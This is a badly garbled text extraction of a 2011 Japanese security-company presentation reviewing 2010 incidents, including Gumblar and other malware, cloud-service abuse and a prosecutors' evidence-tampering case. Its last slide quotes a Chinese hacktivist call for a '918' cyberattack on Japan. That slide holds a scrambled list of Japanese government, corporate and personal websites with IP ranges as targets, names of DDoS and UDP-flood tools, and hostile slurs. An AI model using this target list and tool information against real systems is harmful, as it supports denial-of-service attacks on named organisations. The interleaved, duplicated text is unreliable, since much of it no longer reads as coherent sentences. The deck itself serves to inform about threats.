2010年
年のおさらいと2011年
2010年のおさらいと2011

http://dl.dropbox.com/u/7790765/shirahama20110526.pptx
株式会社ラック株式会社
株式会社ラック
ラック 最高技術責任者
最高技術責任者
株式会社ラック西本
西本 逸郎
逸郎
itsuro@lac.co.jp
itsuro@lac.co.jp
http://www.lac.co.jp/
http://www.lac.co.jp/

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

株式会社ラック
株式会社ラック
蛇口をひねれば蛇口をひねれば飲をひねれば飲み水が出る当り前を、高度情報社会でも高度情報社会でも実現でも実現します実現します。
します。
株式会社ラックは1986年に設立されました。”Little eArth Corporation”という社名には、ＩCＴの進展で地球が相対的に小さくなっていく中で、ＩＴを基盤に国や企業の発展を支えていこうという理念がこめられています。 ＪＳＯＣ（下記参照）、サイバーセキュリティ
サイバーセキュリティ研究所
ＪＳＯＣ
サイバーセキュリティ研究所、サイバー研究所 サイバー救急
サイバー救急センター
救急センターの配備が特徴です。
センター
商 号

株式会社ラック
LAC：Little eArth Corporation Co., Ltd.

設 立

1986年(昭和61年)9月

資本金

11億5,942万6,500円

株 主

ラックホールディングス株式会社(100%)代 表代表取締役社長 執行役員社長 齋藤 理

売上高4,441百万円(25期：2010年03月期)

決算期

3月末日

認定資格

経済産業省情報セキュリティ監査企業登録
情報セキュリティマネジメントシステム(ISO/IEC 27001)認証取得(JSOC)
プライバシーマーク認定取得







・本社
〒102-0093 東京都千代田区平河町 2-16-1
平河町森タワー
03-6757-0111(代表)
03-6757-0113 (営業窓口)
・名古屋オフィス〒460-0002 名古屋市中区丸の内2-18-11
46KTビル4F

・米国ニューヨークオフィス USLAC
・韓国ソウル 子会社 CSLAC
Cyber Security LAC Co.,Ltd.
・中国上海 子会社 LAC CHINA
上海楽客網絡技術有限公司■ JSOC (Japan Security Operation Center)
JSOCは、ラックが運営する情報セキュリティに関するオペレーションセンターです。24時間365日運営。高度な分析官とインシデント対応技術者を配置しています。2000年の九州・沖縄サミットの運用・監視を皮切りに、日本の各分野でのトップ企業など高レベルのセキュリティが要求されるお客様に、高品質なサービスを提供しています。

http://www.lac.co.jp/
sales@lac.co.jp
Twitter @lac_security
YouTube laccotv
Facebook Little.eArth.Corp1

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

わたし
にし

もと

いつ

ろう

西本 逸郎
昭和３３
昭和３３年
３３年
昭和５９
５９年
昭和
５９年３月
昭和５９
昭和５９年
５９年４月
昭和６１
昭和６１年
６１年１０月
１０月

CISSP
福岡県北九州市生まれ
福岡県北九州市生まれ
熊本大学工学部土木工学科中退
情報技術開発株式会社入社
株式会社ラック
株式会社ラック入社
ラック入社

通信系ソフトウェア
通信系ソフトウェアやソフトウェアやミドルウェアのミドルウェアの開発に開発に従事。
従事。１９９３年
１９９３年ドイツの
ドイツのシーメンスニックスドルフ社
シーメンスニックスドルフ社と提携しし、オープンPOS
提携
オープンPOS（POS（ WindowsPOS）
WindowsPOS）を世界に世界に先駆け先駆け開発・
開発・実践投入。
実践投入。２０００年
２０００年よりセキュリ
よりセキュリティ事業
ティ事業に事業に身を転じ、日本最大級の日本最大級のセキュリティセンターＪＳＯＣ
セキュリティセンターＪＳＯＣの
ＪＳＯＣの構築と構築と立ち上げを行げを行う。
さらなるＩＴ
さらなるＩＴ利活用
ＩＴ利活用を
利活用を図る上での新での新たな脅威
たな脅威への脅威への研究への研究や研究や対策に対策に邁進中。
邁進中。
情報セキュリティ
情報セキュリティ対策
セキュリティ対策を対策をテーマに
テーマに官庁、
官庁、大学、大学、その他公益法人
その他公益法人、他公益法人、企業、企業、各種ＩＴ
各種ＩＴイベント
ＩＴイベント、
イベント、
セミナーなどでのなどでの講演セミナーなどでの講演、講演、新聞・
新聞・雑誌などへの雑誌などへの寄稿等多数などへの寄稿等多数
株式会社ラック
株式会社ラック 取締役 最高技術責任者
サイバー救急サイバー救急センター
救急センター
特定非営利活動法人 日本ネットワークセキュリティ
日本ネットワークセキュリティ協会
ネットワークセキュリティ協会 理事
データベースセキュリティコンソーシアム 理事、理事、事務局長
日本スマートフォンセキュリティフォーラム
日本スマートフォンセキュリティフォーラム 理事、理事、事務局長

連載・
連載・コラム
西本逸郎の西本逸郎のセキュリティー表
セキュリティー表ウラ

産業技術大学院大学 運営諮問委員（
運営諮問委員（２００９年
２００９年～）
経済産業省 電子商取引等に
電子商取引等に関する法的問題検討会
する法的問題検討会 委員（
委員（２００７年
２００７年～）
経済産業省 サイバーセキュリティとサイバーセキュリティと経済研究会 委員（
委員（２０１０年
２０１０年～）
IPA セキュリティ＆セキュリティ＆プログラミングキャンプ実行委員
プログラミングキャンプ実行委員（
実行委員（２００７年
２００７年～２００９年
２００９年）（財）日本情報処理開発協会 リスク管理統制対応評価検討委員
リスク管理統制対応評価検討委員
2009年度情報化月間
2009年度情報化月間 総務省情報通信２００８
総務省情報通信２００８年
２００８年～）国際戦略局長表彰～）国際戦略局長表彰
セキュリティー表ウラ検索

http://it.nikkei.co.jp/security/column/nishimoto_security.aspx

ブログ どらいつ

検索

@dry2

2

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li3

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

２０１０年
２０１０年

静岡に
ガンプラ
出現

３０周年
4

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li5

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

① ガンブラーのガンブラーの猛威はまだ
猛威はまだ続はまだ続く。

2010年上半期
2010年上半期において年上半期において特において特にインシデント件数
インシデント件数が件数が多かったGumblar
かったGumblar
およびConfickerの検知件数のおよびConfickerの検知件数の推移および推移および、
および、下半期に下半期に検知が検知が目立ったウイルス
年末よりったウイルスのウイルスの検知推移を
検知推移を示します（します（グラフ 3）。2009）。2009年末
年末より猛威より猛威
上半期においてはおよびConfickerのインシ
上半期においてはGumblar
においてはGumblarおよびおよびConfickerのを振るっていたGumblarの検知数は2010年11
るっていたGumblarの検知数は減少し減少し続けており、
けており、2010年
デントがデントが全体の全体の7割を占めておりましたが、めておりましたが、下半期におい
下半期におい 月にはほとんど検知にはほとんど検知がなくなりました
検知がなくなりました。
がなくなりました。5月前後から月前後から、から、攻撃対象として攻撃対象としてては11
月以降にMonkifやET Trojan（
Trojan（Taterf,ては11月以降
月以降にMonkifや日本の日本のホストを
ホストを除外するといった除外するといった動するといった動き も見られ、られ、10月にはGumblar
10月にはGumblar
Gammima）、が検知されるようになりました
Gammima）、Mariposa）、Mariposaが検知されるようになりました。
されるようになりました。 感染ホスト
感染ホストがホストが接続する
接続するボットネット
するボットネットのボットネットの一つが停止
つが停止した
停止した ことによる影響
ことによる影響が影響がれています。
Monkifは日本でで 現れています。
Monkifは、ダウンローダーウイルスのダウンローダーウイルスの一種であり一種であり、
であり、日本2010年
年のうちにGumblarのうちに
Gumblarの
の
脅威は
脅威
は
去
ったように見
ったように
見
えますが、
えますが
、
年末に
年末
に
も10月
ウイ 201010月ごろから大量感染
ごろから大量感染が大量感染が話題になっていた
話題になっていたmstmpになっていたmstmpウイ
かけてはMonkif
やET TrojanといったかけてはMonkifやといった別のウイルスのウイルスの検知が検知が目立っ目立っ
Trojanといった別
ルス をダウンロードすることでもられています。
。ET
ダウンロードすることでも知することでも知られていますてきています。
てきています。これらのウイルス
これらのウイルスもウイルスもGumblarと同様に、ドライブバイダ
Gumblarと同様にTrojanやTrojanやMariposaはMariposaは2010年以前
2010年以前から
年以前から存在から存在が存在が知られて ウンロード攻撃
ウンロード攻撃によって攻撃によって感染によって感染するものであり感染するものであり、するものであり、依然として依然として無防備として無防備に
無防備にウェ
いたものですが、いたものですが、監視機器への監視機器へのシグネチャ
シグネチャ追加
追加によってによってへのシグネチャ追加
ブページをブページを参照することによる参照することによる脅威することによる脅威は
脅威は継続しています
継続しています。
しています。
内部ホストによるインシデントの内訳（2010年）

これらに関11月以降の
これらに関わる通信
わる通信が通信が検出可能になり検出可能になり、になり、11月以降
月以降の検知が目立ちました
目立ちました。
ちました。

6

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li7

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li② クラウドサービスのクラウドサービスの悪用

Facebook
Twitter
AmazonEC2
などなど

8

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li9

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

③ クラウドとクラウドとグレーゾーンのグレーゾーンの話題

どうせ、
どうせ、ブラックボックスだからね
ブラックボックスだからね。
だからね。
ブラックボックスだからこそ
ブラックボックスだからこそ。
だからこそ。
重要インフラ
重要インフラになり
インフラになり得になり得るのだろうか？
るのだろうか？

http://slashdot.jp/security/article.pl?sid=11/05/18/0820205
http://www.itmedia.co.jp/enterprise/articles/1104/22/news019.html
10

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li11

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

④ クラウドサービスでのクラウドサービスでの事件
での事件

親ガメがこけると子ガメもこける。
どの親ガメに乗っているの？
それで、それは、どこにあるの？
ところで誰と契約しているの？
SaaS
PaaS
http://internet.watch.impress.co.jp/docs/news/20110422_441671.html
IaaS
http://www.computerworld.jp/topics/cloud/191418.html
12

13

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

はずれ！
はずれ！

14

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

さて、さて、
この1年何が
年何が？
おさらい
らいオン
らいオン！
オン！
15

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

昨年９
昨年９月

関係者外秘

郵便割引制度をめぐる偽の証明書発行事件で、
、大阪地
検特捜部が
が証拠品として検特捜部証拠品として押収として押収した
押収したフロッピーディスク
したフロッピーディスク（Ｆフロッピーディスク（ＦＤ）がＤ）が改ざんされた疑
ざんされた疑いがあることが朝日新聞の取材でわかった。取材を受けた地検側が事件の捜査現場を指、「誤揮した主任検事（４３）から事情を聴いたところ、「、「誤って書き換えてしまった」
えてしまった」と説明したという。しかし、検察関係
説明「主任検事が者は取材に対し「主任検事が一部同僚に
一部同僚に『捜査の捜査の見立てに合てに合うようにデータ
うようにデータを
データを変えた』
えた』と話した」
した」としている。検察当局は２１日以降、本格調査に乗り出す。

朝日新聞 朝刊
9月21日

朝日新聞
9月25日

Oh!!
ふぁっと
is this?

7月13日に改ざん？
何故わかる？

こんな事件が報道された。
ツールを使えばできるわな。

ふぁっと
You said?
16

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

FD改ざん事件
ざん事件が事件が教えてくれたこと
改ざんFD
ざんFD

おい！
おい！ ドキュメントだけか
ドキュメントだけか？
だけか？
現在、
現在、多くのところでデジタル
くのところでデジタル写真
デジタル写真や写真やデジタル録音
ジタル録音が録音が、使用されている
使用されている。
されている。
我々はすぐに、はすぐに、証明書が証明書が無いものはダメ
いものはダメじゃん！
じゃん！と言ってしまいそうだ。
ってしまいそうだ。

メタデータを
メタデータを変更することは変更することは可能
することは可能。
可能。
費用対効果の費用対効果の考え方はないか？
はないか？
完全に
完全に証拠を証拠を残すのか？
すのか？
抑止をかけるのか
抑止をかけるのか？
をかけるのか？どっちが得
どっちが得？
17

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

関係者外秘そう言
そう言えば、
えば、こんなこともどうして、どうして、こんなことが？
こんなことが？
何を調べるか、
べるか、
知らないのかな？
らないのかな？
常識が常識が無い？

こんな報道
こんな報道も報道も記者がこれでは記者がこれでは、がこれでは、政治家や政治家や政府関係者の政府関係者の自覚と自覚とリテラシは
リテラシは
大丈夫か
大丈夫か？

朝日新聞
18

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

そう言
そう言えば９１８
えば９１８
http://www.kantei.go.jp首相官邸
JUDAL
http://www12.u-page.so-net.ne.jp/rk9/judal/
青木光惠
http://www.gainax.co.jp/hills/aoki/
210.128.000.000－
210.175.255.255[日本}
总理大臣居所
http://www.kantei.go.jp/index-e.html
日本各市县政府机构
大阪县政府
安倍吉俊
http://www.people.or.jp/~ab/index.html
http://www.jinji.admix.go.jp人事院
获原一至http://www01.vaio.ne.jp/BASTA/index.html
Japan
Federationof Economic
202.11.0.1 - 202.11.255.255
210.081.000.000－
210.081.031.255[日本][]
坂田晴子
http://www2u.biglobe.ne.jp/~ysakata/总理办公室
http://www.sorifu.go.jp/english/index-e.html
Aichi http://www.pref.aichi.jp/index-e.html
http://www.pref.osaka.jp/
犬木加奈子
http://www.i-dream.net/~inuki/
中国の赤い客連盟
もとの核心の9.12-9.18組織が発表して公告が壁の不完全で平http://www.clb.admix.go.jp内阁法制Organizations(Keidanren)
202.12.8.1 - 202.12.15.255
210.088.000.000－
210.088.191.255[日本][]
北神谅
http://swat.pos.to/森川久美
http://www1.linkclub.or.jp/~mya/
安全部
http://www.jda.go.jp/index_e.html
Aomori http://www.pref.aomori.jp/home-e.html
大阪市政府
坦な瀘溝の橋を廃棄してまた歴史の砲火の中でむせび泣く歳月の経過が祖国の碧也绯红
http://www03.u-page.so-net.ne.jp/qc4/pink-a/
http://www.sorifu.go.jp总理府
山田南平
http://nanpei.net/
210.188.000.000－210.191.255.255[日本][]
http://www.keidanren.or.jp/
202.13.0.1 - 202.13.254.255经济部
http://www.epa.go.jp/
Chiba
http://www.pref.chiba.jp/index-e.html
http://www.city.osaka.jp/
冰粟优
http://www.diana.dti.ne.jp/~higuri/
上田美和
http://www.yomogi.sakura.ne.jp/~peach/
ネット界の再度の鳴り響く警鐘が新世代の私達とする時にあの屈辱の歴史の今日
http://www.jftc.admix.go.jp公正取引委员
210.196.000.000 －210.199.255.255[日本][]
Japan
AssociationofCorporate
202.15.0.1 - 202.15.255.255
潮见知佳
http://www.katch.ne.jp/~shiomi/
上田信舟
http://www.geocities.co.jp/Playtown/3526/
科技部 http://www.sta.go.jp/index-e.html
Ehime http://www.pref.ehime.jp/index-e.htmに拭いていくことができないことを攻撃します。77と918精神を受けてその通りにしま
210.224.000.000－
210.239.255.255[日本][]
http://www.npa.go.jp警察厅
成岛百合
http://www.ne.jp/asahi/yuri/narushima/
Executives(KEIZAIDOYUKAI)202.16.0.1 - 202.19.255.255
神田森莉
http://www2u.biglobe.ne.jp/~kaba3hijiri_index.html
环境部 http://mx.eic.or.jp/eanet/index-e.html
Fukui http://www.pref.fukui.jp/english/index.html
信息网站：
池田惠
http://www.eva.hi-ho.ne.jp/ikeda-k/
す。
私達の方式を使います。私達の思想を使います。断固としてすべての侵略者
210.248.000.000－
211.007.255.255[日本][]
圣悠纪
http://www.linkclub.or.jp/~mya/
http://www.kouchoi.go.jp公害等调整委员
http://www.doyukai.or.jp/Eindex.htm
202.20.90.1- 202.20.90.255
池泽理美
http://home.catv.ne.jp/dd/ikezawa/发展部
http://www.oda.go.jp//
Fukushima
http://www.pref.fukushima.jp/index_e.html
http://www.stardust.co.jp/
日本>女演员>松雪泰子
石川优吾
http://www.you-go.net/
211.008.000.000－
211.019.255.255[日本][]に反撃します。
祖国のネットワークセキュリティのために最後まで奮戦して日本がhttp://www.kunaicho.go.jp宫内厅
The
Japan
Chamberof Commerce & Industry
202.20.110.1 - 202.20.110.255
赤石路代
http://www.14.u-page.so-net.ne.jp/xb3/michiyo/士贵智志
http://www.wrenchstudio.gr.jp
土地部
http://www.nla.go.jp/welcome-e.html
Hiroshima
http://www.hiroshima-cdas.or.jp/pref/index-e.html
http://en-f.tezuka.co.jp/
铁臂阿童木010.192.000.000－
010.192.255.255[日本][]
歴史の文化にねじ曲がることに反対します。
赤松健
http://www.ailove.net/
http://www.somucho.go.jp总务厅手冢治虫
http://www.tezuka.co.jp/
http://www.jcci.or.jp/home-e.html
202.20.123.1
131.107.003.000－131.107.003.255[][Microsoft日本公司]
贸易部
http://www.jftc.go.jp/e-page/f_home.htm
Hokkaido http://www.pref.hokkaido.jp/index-e.html
http://www.tokyometro.go.jp/东京地铁- 202.20.124.255
船户明里
http://www.ne.jp/asahi/orange/lamp/index2.htm
树夏实
http://www.ny.airnet.ne.jp/itsuki/
日本の畜生のために私達のこちら(側)の静かで落ち着いた国土の上で残す様々な
http://www.stat.go.jp总务厅统计Central
Unionof
Agricultural
Co-operativesofJapan(JA-ZENCHU)
202.21.112.1
大枪苇人
http://www.inkpot.org/
165.076.000.000－
165.076.255.255[日本][]
水城雪可奈
http://www.page.sannet.ne.jp/setona/index.html
外务省
http://www.mofa.go.jp//
Hukushima http://www.pref.fukushima.jp/index_e.html
http://www.tcvb.or.jp/ 东京>本地指南 - 202.21.117.255
http://www.stat.go.jp/1.htm[英]道原香津美
http://member.nifty.ne.jp/michihara/index.htm
司淳罪悪。１つのネットの愛好者として、私達は私達の武器を取るべきです。
http://www7.big.or.jp/~abura/
http://www.rim.or.jp/ci/ja/ejahome.html
202.21.150.1 - 202.21.153.255
165.076.248.000－165.076.248.255[日本][大阪] 全日空航空公司
财政部
http://www.mof.go.jp/english/index.htm
Hyogo http://web.pref.hyogo.jp/index-e.htm
http://svc.ana.co.jp/
东城和实
http://www.linkclub.or.jp/~miyacom/
寺田克也
http://www.t3.rim.or.jp/~tera/
私達の五星紅旗を守ります。世間の人に中国を銘記させることは永遠に屈服するこ
http://www.hda.go.jp北海道开发厅[日Federationof
Bankers Associations of Japan (ZENGINKYO)
202.22.64.1 - 202.22.127.255
202.000.065.000－202.000.066.255[日本][]
都筑和美 http://www.monbu.go.jp/emindex.html
http://www.ifnet.or.jp/~byunbyun/
松本零士
http://leiji-matsumoto.ne.jp/
教育部
Ibaraki
http://www.pref.ibaraki.jp/index-e.html
http://www.jal.co.jp/
日本航空公司
http://www.jda.go.jp防卫厅
多田由美
http://www.yo.rim.or.jp/~fudge/
202.000.072.000 －202.000.073.255[日本][]とはありえない
http://www.zenginkyo.or.jp/en/index.htm
202.23.0.1
松本泉
http://www.comic-on.co.jp/
卫生部
http://www.mhw.go.jp/english/index.html
Ishikawa
http://www.pref.ishikawa.jp/index_e.htm
http://www.nintendo.co.jp/
任天堂 - 202.26.255.255
峰仓和也
http://members5.cool.ne.jp/~nitroxxx/
大田早纪
http://homepage2.nifty.com/uki/
http://www.epa.go.jp经济企画厅
202.000.076.000 －202.000.076.255[日本][]The
Federationof Electric Power Companies
202.32.0.1 - 202.35.255.255
富泽仁司
http://www.jah.ne.jp/~lucky/fss.html
农林牧副渔部
http://www.maff.go.jp/eindex.html
Iwate http://www.office.pref.iwate.jp/index_e.html
http://www.usj.co.jp/
日本环球影城藤玉树http://poppy.roo.ne.jp/~bud/202.000.093.000－
202.000.093.255[日本][]
http://www.sta.go.jp科学技术厅
http://www.fepc.or.jp/index_e.html
202.48.0.1 - 202.48.255.255
冈崎武士
http://www.t3.rim.or.jp/~happy/
藤原カムィ
http://www.studio2b.co.jp/
国贸部
http://www.miti.go.jp/index-e.html
Kagoshima http://www.pref.kagoshima.jp/pref/english/index.html
http://www.apu.ac.jp/
亚洲太平洋大学
202.006.098.000－202.006.098.255[日本][]
冈田芽武 Whaling
http://www.mcb-jp.com/
http://www.oda.go.jp冲绳开发厅[日することがあるのです。台湾独立のサイトを支持して
藤子F不二雄 http://dora-world.com/top.html
Japan
Association
202.139.192.1- 202.139.207.255
交通部
Kanagawa http://www.pref.kanagawa.jp/index-e.html
http://china.kyodo.co.jp/
共同网
冈野玲子 http://www.motnet.go.jp/index.htm
http:///www.najanaja.co.jp/
202.011.000.000－202.011.255.255[日本][]
天王寺
http://www.lifox.co.jp/
http://www.nla.go.jp国土厅
大規模な抵抗を行います日本の畜生に中国人がもう沈みないことを知っていさせま
http://www.jp-whaling-assn.com/english/index.htm
202.140.0.1东京迪士尼渡假区- 202.140.31.255
冈野史佳 http://www.mpt.go.jp/index-e.html
http://www.planet-f/com/
田村由美
http://www02.so-net.ne.jp/~tamura-y/邮电部
202.012.008.000－202.012.015.255[日本][]
Kochi http://www.pref.kochi.jp/~kokusai/index.html
http://www.tokyodisneyresort.co.jp/
http://www.fsa.go.jp金融监督高岛奈月
http://www.h5.dion.ne.jp/~east_pro/
す。中国は今日にそびえ立って、日本の様々な行為に直面して私達が非常に遺憾
TheJapanese
Institute of Certified Public Accountants 202.013.000.000
202.176.0.32 - 202.176.3.255
田中机械
http://www.aa.aeonnet.ne.jp/~child-planet/－202.013.127.255[日本][]
劳动部
http://www.mol.go.jp/english/index.htm
Kyoto
http://www.pref.kyoto.jp/normal/index_e.html
http://www.fujitv.co.jp/
富士电视台
高口里纯
http://www.takaguchi.net/top.html
田中久仁彦
http://www3.tky.3web.ne.jp/~r4mt/menu/framepage2.htm
http://www.moj.go.jp法务省
に思って、中国人の私達として、いかなるひとつの気骨がある中国人として、私達は
http://www.jicpa.or.jp/eng/index.html
202.208.0.1- 202.255.255.255
202.013.128.000－202.013.191.255[日本][]
高桥美由纪http://www.moc.go.jp/eng/eng/index.htm
http://miyuki.iii.co.jp/
建设部
望月玲子
http://www.reiko-mochizuki.com/index2.html
Mie http://www.pref.mie.jp/ENGLISH
http://www.odakyu-co.com//
小田急电铁股份有限公司
http://www.mofa.go.jp外务省
すべて更に沈黙するべきでなくて、私達は私たち自身の方式を使って、日本に１つ高桥明Japan http://www13.big.or.jp/~matrix/
The
Magazine Publishers Association
203.136.0.1- 203.141.255.255
唯登诗树
http://yui.mac-time.ne.jp/
202.013.192.000－
202.013.223.255[日本][]
内务部
http://www.mha.go.jp/eng/index.htm
Miyazaki http://www.pref.miyazaki.jp/english/index.htm
http://www.j-league.or.jp/
日本职业足球联赛高桥努
http://www.din.or.jp/7Etao/
http://www.mof.go.jp大藏省
五十岚优美子
http://www.candycandy.net/new_candy/index.htmlのよく響く警鐘をたたいて鳴らして、中国人民は軟弱が騙しても良くありません!
http://www.j-magazine.or.jp/FIPP/FIPPE/mokuji.html
203.178.0.1
202.013.224.000－202.013.239.255[日本][]
高桥由美
http://home.att.ne.jp/sky/thewell/main.html
Nagano http://www.pref.nagano.jp/english/index_e.htm
http://www.ghibli-museum.jp/
美术馆- 203.183.255.255
武井宏之
http://www.harnet.co.jp/
http://www.nta.go.jp国税厅[日ここでもとの中国の赤い客連盟(http://www.honker.net)
核心の呼びかけの広大な202.013.240.000－202.013.247.255[日本][]
Japan
Publishers Association
203.216.0.1- 203.216.255.255
高屋奈月 Bookhttp://www.05.u-page.so-net.ne.jp/wc4/nozo/
武林武士
http://www13.u-page.so-net.ne.jp/bf6/kotama/index.html
Nagasaki
http://www.us1.nagasaki-noc.or.jp/~nagasaki/index_e.html
http://www.seaparadise.co.jp/
日本八景岛乐园
宫板香帆
http://www5a.biglobe.ne.jp/~binetsu/
202.013.248.000 －202.013.251.255[日本][]
http://www.monbu.go.jp文部省
国を愛する青年、広大なコンピュータの愛好者、広大なハッカーの技術者、9月18物领冬实
http://www.remus.dti.ne.jp/~suko
http://www.jbpa.or.jp/default-e.htm
210.7.128.1神奈川县观光协会- 210.7.255.255
Nara http://www.pref.nara.jp/index-e.html
http://www.kanagawa-kankou.or.jp/
古张乃莉
http://www.h-angels.net/
喜多尚江
http://www02.u-page.so-net.ne.jp/qc4/naoe/
202.013.252.000－
202.013.253.255[日本][]
http://www.monbu.go.jp/emindex.html[英]文化厅[日]Japan
Manufacturers Association
210.81.0.1- 210.81.31.255
和田尚子 Pharmaceutical
http://www.linkclub.or.jp/~naoko-w/
日に日本に対してネットを始めて戦って
喜国雅彦
http://plaza22.mbn.or.jp/~kunikikuni/index.f.html
Niigata
http://www.pref.niigata.jp/en/index.html
http://www.tokyotower.co.jp
东京塔官方网站
202.013.254.000 －202.013.254.255[日本][]
http://www.maff.go.jp农林水产省
Ministr
河原和音
http://www5b.biglobe.ne.jp/~kazune/
http://www.jpma.or.jp/english/index-e.html
210.88.0.1 - 210.88.191.255
小浪诏子
http://conami.cc/
Oita http://www.coara.or.jp/OITAPref/OITA_HOME_EN.html
http://www.tnc.co.jp/
日本>静冈>电视台
202.015.000.000－202.015.255.255[日本][]
后藤星
http://www3.justnet.ne.jp/~ruby/小林博美
http://www.eps4.comlink.ne.jp/~hiromi/
http://www.miti.go.jp通商产业省
Ministr
The
Steel Institute of Japan
210.128.0.1- 210.191.255.255
后藤直Iron andhttp://www.st.sakura.ne.jp/~galaxy/202.016.000.000－202.019.255.255[日本][]
小手川瑜亚
http://www.bekkoame.ne.jp/ro/gj13041/
Okinawa http://www.pref.okinawa.jp/index.html
http://www.junichi-inamoto.jp/
稻本润一
http://www.hkd.miti.go.jp>MITI
Hokkaido[
皇名月
http://www.roy.hi-ho.ne.jp/nasuga/
http://www.isij.or.jp/e_index.htm
210.196.0.1
を主として(その時目標と方式を発表する
小鹰和麻
http://www.dinor.jp/~k2c/
202.020.090.000－202.020.090.255[日本][]
Osaka
http://www.pref.osaka.jp/osaka-pref/indexe.html
http://www.tv-tower.co.jp/
札幌电视塔- 210.199.255.255
木薰理
http://www.netpronejp/~himeki/
http://www.tohoku.miti.go.jp
小泽真理
http://kata.sakura.ne.jp/
Japan
Hotel Association
210.224.0.1 - 210.239.255.255
ことができ(ありえ)ます)!その時また組織の私達の安全な技術のグループができて
202.020.110.000－
202.020.110.255[日本][]
极乐院樱子
http://www.linkclub.or.jp/~saurako/
Saga
http://www.pref.saga.jp/eibun/esagaken.html
筱原正美http://www.geocities.co.jp/AnimeComic-Pen/2441/index.html
http://www.kantou.miti.go.jp
http://www.j-hotel.or.jp/english/index.html
210.248.0.1 - 210.255.255.255
见田龙介&御祗岛千明 http://club.pep.ne.jp/~mitaogi/
202.020.123.000
202.020.123.255[日本][]
须藤真澄
http://www.catnet.ne.jp/masumi/
Saitama http://www.pref.saitama.jp/core_e.html
日本のそれぞれ大きいウェブサイトに対して私達の旗幟に掛かって、
江口寿史
http://www.kotobuki-studio.com/
http://www.chubu.miti.go.jp>
绪方刚志http://www.pagesannet.ne.jp/bonoto/
202.020.124.000－202.020.124.255[日本][]
Japanese
Trade
Union
Confederation(RENGO)
211.0.0.1-210.19.255255
Shiga http://www.pref.shiga.jp/index-e.html
介错
http://www.toshima.ne.jp/~kaishaku/
雁川せゅ
http://www3.justnet.ne.jp/~rackandpinion/
して、日本に一回
http://www.miti-kansai.go.jp
202.021.112.000－202.021.127.255[日本][]
http://www.jtuc-rengo.or.jp/english/index.html
218.222.0.1 - 218.222.255.255
今泉伸二
http://www06.u-page.so-net.ne.jp/yc4/nachu/野间美由纪
http://www.studio-rose.com/
Shimane http://www.pref.shimane.jp/index_e.html
202.021.150.000－202.021.151.255[日本][]の重責の打撃に来ることをあげます.
今回の行動に参加する友達が着くことを願っ
http://www.chugoku.miti.go.jp
井上纪良
http://www.studio-angels.co.jp/
National
Confederationof Trade Unions (Zenroren)
219.1.0.1 - 219.10.255.255
叶精作
http://www.mac-time.ne.jp/kano/Shizuoka http://www.pref.shizuoka.jp/indexE.html
井上三太
http://www.santa.co.jp/
202.021.152.000－202.021.153.255
伊万里寿美子
http://www.ingjapan.ne.jp/imari/て下さい [日本][]
群の5209614をプラスします
基礎の成員は群の共有に武器を熟知してhttp://www.shikoku.miti.go.jp
http://www.iijnet.or.jp/c-pro/union/aa_e/index_e.html
井上雄彦
http://www.itplanning.co.jp/
樱濑虎
http://ohse-kohime.cool.ne.jp/
Tokyohttp://www.metro.tokyo.jp/
202.022.064.000－202.022.127.255[日本][]
そしてDF-5戦術の核ミサイルをダウンロードしてもらいます.exe
1.1MB ，DDOS強
http://www.miti-kyushu.go.jp
九音摩绪
http://www.diana.dti.ne.jp/~gekkoh/
219.116.124.16
影木荣贵
http://www.geocities.co.jp/AnimeComic/1990/
Tokushima http://www.pref.tokushima.jp/index_e.html
202.023.000.000－202.023.255.255[日本][]
橘水树&樱林子
http://i-f.pos.to/STiCCA/
い力killertop版.EXE
28.5KB，阿のラテンUDPは器V2.1.exe を攻撃します
http://www.enecho.go.jp资源能源厅
御茶渍海苔
http://www5a.biglobe.ne.jp/~ochazuke/index.html
219.1.0.0-219.127.255.255
202.024.000.000－202.025.255.255[日本][]
葵二叶&红三叶
http://www.twincastle.com/
Toyama http://www.pref.toyama.jp/index-e.html
垣野内成美
http://www.aprildd.co.jp/~kakinouchi/
1.3MB ，このツールで時間は統一的にようやく最大の技と力を発揮することができ
http://www.jpo-miti.go.jp特许厅立花日
http://wsp.jpweb.sh/
202.026.000.000－
202.026.255.255[日本][]
原哲夫
http://www.haratetsuo.com/
Wakayama http://www.wakayama.go.jp/index_e.html
立野真琴
http://www.netlaputa.ne.jp/~tenhou/
